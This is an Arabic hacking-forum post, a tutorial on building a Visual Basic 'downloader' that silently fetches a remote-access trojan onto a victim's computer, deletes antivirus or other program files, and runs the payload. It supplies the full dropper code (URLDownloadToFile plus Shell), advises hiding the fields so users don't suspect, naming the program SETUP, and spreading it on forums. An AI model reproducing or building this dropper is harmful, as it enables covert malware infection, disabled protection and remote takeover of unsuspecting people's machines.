اهـ.,؛ــلأ ـ, ـــسـ.,ـــهــ.,ــلأ بـكـــ,.ــم
يريجى تشريفك لنا با التعريف بنفسك ان كنت قد سجلت من قبل او التسجيل والانظمام الى منتدئك

وكــــــــــــــ.,؛ـــل ع,.ــام . وانتم بـخيـٌَََََََُـــــــــــ.,ــــر



 
الرئيسيةالبوابةس .و .جبحـثالتسجيلدخولموقع شبكة الفاتش

شاطر | 
 

 اصنع برنامج صغير يقوم بفتل الانتي فايروس وتشغيل الباتش في جهاز الضحيه بكل بساطه

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
الهاكرXX1
Admin
Admin


الجنس : ذكر عدد الرسائل : 65
تاريخ التسجيل : 03/04/2010

الصفحة الشخصية
اختيارى: الهكر
الورقة الشخصية:
44/44  (44/44)
اهتماماتى: اهتم با الهكر وكل جديدهم

مُساهمةموضوع: اصنع برنامج صغير يقوم بفتل الانتي فايروس وتشغيل الباتش في جهاز الضحيه بكل بساطه    السبت يوليو 17, 2010 7:30 pm

[size=12]بسم الله الرحمن الرحيم
هنا تتعلم كيق تقوم بصنع برنامج صغير يقوم بالتالي :
انزال باتش في جهاز الضحيه
قتل برنامج انتي فايروس
تشغيل الباتش في جهاز الضحيه


الشرح مبسط ومدعم بالصور التوضيحيه
وان شاء الله ينال اعجابكم
---------------------------

المتطلبات /
وجود برنامج فيجوال بيسك " ليس شرط ان تكون محترفا فقط اتبع الشرح وسترى "
تجهيز باتش بواسطة برنامج للاختراق وليكن مثلا البرورات
التسجيل بموقع مجاني لرفع الباتش عليه
اذا توفر كل ذلك فلتقم الان باتباع الخطوات
--------------------------
اولا
افتح برنامج فيجوال بيسك واختر الخيار الواضح امامك في الصورة



[b][size=12][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


الان بعد ماقمت بفتح البرنامج قم باضافه التالي :
Class Module
Form
CommandButton
CommandButton
Textbox
Textbox


وقم بتسميتهم كالتالي

Class Module وقم بتسميته للتالي clsDownload
Form وقم بتسميته للتالي frmMain
CommandButton وقم بتسميته للتالي cmdDownload
CommandButton وقم بتسميته للتالي cmdexit
Textbox وقم بتسميته للتالي txtFrom
Textbox وقم بتسميته للتالي txtTo


بالنسبة لاضافة الازرار وصناديق التيكست و و و و و يتم بالضغط على ماتريده نقرتين سريعتين وجميع تلك الادوات موجوده في شريط الادوات على يسار الشاشه تجد به كل الادوات الافتراضيه وهنالك الكثير منها ولكن مخفي
المهم .
وطريقة اعادة تسميتهم هي الذهاب الى صندوق الاعدادات واختيار الخاصية Name وتغييرها
وبالنسبة لـ Class Module
فطريقة اضافته هي التالي اضغط بزر الفاره الايمن ومن ثم اضغط ادد واختر بعدها Class Module


شاهد الصور التالية التوضيحيه



[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


الان بعد القيام بكل ماسبق وتغيير مايلزم
قم باضافة الاكواد اليها
وطريقة اضافة الاكواد هي نسخ الكود ووضعه في المكان المناسب



انسخ هذا الكود وضعه في داخل الـ Class Module





كود:
Option Explicit

[center]Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long


Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer

[center]Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_FLAG_EXISTING_CONNECT = &H20000000
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_OPEN_TYPE_PROXY = 3
Const INTERNET_FLAG_RELOAD = &H80000000


Public Function Get_File(sURLFileName As String, sSaveFileName As String) As Boolean

Dim lRet As Long
On Error GoTo err_Fix


lRet = InternetOpen("", INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
lRet = URLDownloadToFile(0, sURLFileName, sSaveFileName, 0, 0)
Get_File = True
Exit Function
err_Fix:
Debug.Print Err.LastDllError, lRet
Err.Clear
Get_File = False
End Function





ثم انسخ الكود التالي وضعه في داخل الفورم Form



كود:

Option Explicit






Private Sub Form_Load()
txtFrom.Text = "http://www.xxx.com/xxxx.xxx"
txtTo.Text = "c:\xxxx.xxx"
End Sub


Private Sub cmdDownload_Click()
Dim obj As clsDownload
Set obj = New clsDownload
Dim bRet As Boolean


Screen.MousePointer = vbHourglass
bRet = obj.Get_File(Trim(Me.txtFrom.Text), Trim(Me.txtTo.Text))
If bRet = False Then Me.txtTo.Text = "Error downloading!"
Screen.MousePointer = vbDefault
Set obj = Nothing
MsgBox "Done", vbInformation
End Sub


Private Sub cmdExit_Click()
Shell "c:\xxxx.xxx"
Unload Me
End Sub







الان قمنا بنسخ الاكواد



الان كود الـ Class Module لاتقم بتغيير مافيه هذا الكود يعتبر بعد عملية نسخك للكود انتهى عمله




ولكن الكود الاخر الذي وضعناه في الفورم فبامكانك تغييره الى مايناسب احتياجاتك
يوجد بداخل الكود عنوان رابط لملف وهو التالي
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
هذا الرابط قم بتغييره الى رابط الباتش الخاص بك والذي قد قمت برفعه الى موقع ا
تنبيه : اكتب الرابط كامل


بالنسبة للسطر الذي اسفل منه هو عنوان او مسار تنزيل ملفك بداخل النظام
لنفرض انك تريد انزال ملفك في القرص c
تكتب العنوان كما في الصوره
ولو اردت انزال الباتش في مجلد السيستيم او الوندوز او سطح المكتب او اي مكان اخر كل ماعليك القيام به هو كتابة المسار بين الاقواس
تنبيه لاتنسى كتابة اسم الباتش بعد المسار مثل التالي
c:\xxxx.xxx
حيث
xxxx = اسم الباتش
xxx = امتداد الباتش


اذا اردت ضهور رسالة بعد عملية انزال الملف فاكتب ماتشاء بالعربي بالانجليزي بالفرنساوي اهم شي يكون بين الاقواس

شاهد الصوره

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

الان هذا هو برنامجنا الذي قمنا بعمله شاهد الصورة

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

سيكتب عنوان الباتش في التيكست الاول
والتيكست الثاني يكتب فيه المسار


وعلى حسب رغبتك اذا اردت ان تخفي التيكست كما افضل انا من اجل عدم ان يشك من يستخدم البرنامج عليك القيام بالتالي

اختر التيكست الاول وحدد التيكست الثاني واذهب الى صندوق الاعدادات وستشاهد خاصية فيسبل قم بتغيير القيمة الى false
شاهد الصورة التاليه


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


الان برنامجنا اصبح شكلة كالتالي

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

لقد قمنا باخفاء صناديق النص التي كانت ضاهره في الخطوة السابقه


الان قم بكتابة الاسماء اى ازرارك وهي بشكل بسيط تضغط على زر الامر ومن ثم الذهاب الى صندوق الاعدادات
واختيار خاصية كابشن وكتابة الاسم الذي تريده
كمثل كتابة امر تشغيل امر خروج امر دخول امر اي امر تريده هذا يعتبر مجرد غطاء على الزر من اجل ارشاده حول عمل هذا الزر فقط لا غير ان شاء الله حتى ماتكتب شي على حسب رغبتك


وكذلك اذا اردت تغيير اسم الفورم عليك بتحديد الفورم ومن ثم خاصية كابشن وكتابة الاسم الذي يناسبك

شاهد الصورة التاليه

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]



الان انتهينا من الجزء الاول
ولو اردت تجربة البرنامج فقم بتجربته
البرنامج الى الان يقوم بانزال الباتش الذي وضعت عنوانه وسيقوم البرنامج بانزاله في المسار الذي قمت بتحديده


قم بالتجربة وستعرف بنفسك
==-=-=-=-=-=-=-=-=-=-=-==


بقي الجزء الثاني وهو المهم

اذا اردت ان يقوم برنامجك بقتل مضادات الفايروسات عليك بالتالي
اضافة هذا الكود الى اي زر امر تضعه



كود:
Kill ("C:\xxxx.xxx")


الان لو تضع اي مسار لاي برنامج جرب على برنامج ماسينجر الهوتميل او الياهو وشاهد مالذي سيقوم به البرنامج سيقوم بالطبع بحذف البرنامج المحدد او الملف المحدد

وكتابة عنوان الملفات التي تريد من البرنامج ان يقوم بحذفها
شاهد الصورة التاليه


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


==-=-=-=-=-=-=-=-=-=-==

واذا اردت بعد كل ذلك تشغيل ذلك الباتش في جهاز الضحيه من نفس برنامجك والضحية لا يعلم فلا يتطلب الامر اكثر من استخدامك لاوامر الشل اللي في برنامج الفيجوال

اعمل التالي
على زر الخروج الذي قمنا بوضعه في الجزء الاول قم بكتابة الكود التالي



كود:
Shell "c:\xxxx.xxx"
لازم يكون المسار بين الاقواس
والمسار الذي ستكتبة هنا هو المسار الذي قد قمت بانزال الباتش فيه والامر Shell هو امر التشغيل


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

ولو قمت بكتابة هذا العنوان بين الاقواس

C:\Program Files\Yahoo!\Messenger\YPager

يقوم الشل بتشغيل الياهو ماسينجر
وهكذا
هذه هي الفكره هيا القيام بانزال الباتش في مسار معين ومن ثم تشغيله عن طريق امر الشل


-------------------

لاضافات على برنامجك

ضمن صندوق الاعدادات حدد ماتريد تغييره ثم حدد الخاصية المناسبة وقم بالتغيير الى مايلزمك
خاصية BackColor = تغيير اللون للخلفيه
Caption = كتابة اسم
ForeColor = لون الخط
Visible = الضهور والاخفاء


وغيرها الكثير
---------------


الان لجعل عملك برنامج تطبيقي اعمل التالي
شاهد الصورة التاليه


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

والان هنئيا لك بصناعة هذا البرنامج

==-=-=-=-=-=-=-=-==

شاهد الصورة التاليه لما قد قمت بعمله انا
مع ملاحظه انني قد قمت باضافة صورة وتغيير الاسماء وتحويلها الى الانجليزي وكتابة اسم للبرنامج SETUP


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


وهنا ياتي دورك في انزال برنامجك باي منتدى ومن ثم ذكر ماهية هذا البرنامج

ارجو ان اكون قد وفقت في اختيار الموضوع وفي الشرح

[/center]
[/size]
[/size][/size][/b][/center]
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
اصنع برنامج صغير يقوم بفتل الانتي فايروس وتشغيل الباتش في جهاز الضحيه بكل بساطه
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
 :: منتدى الهاكر والاختراقات-
انتقل الى: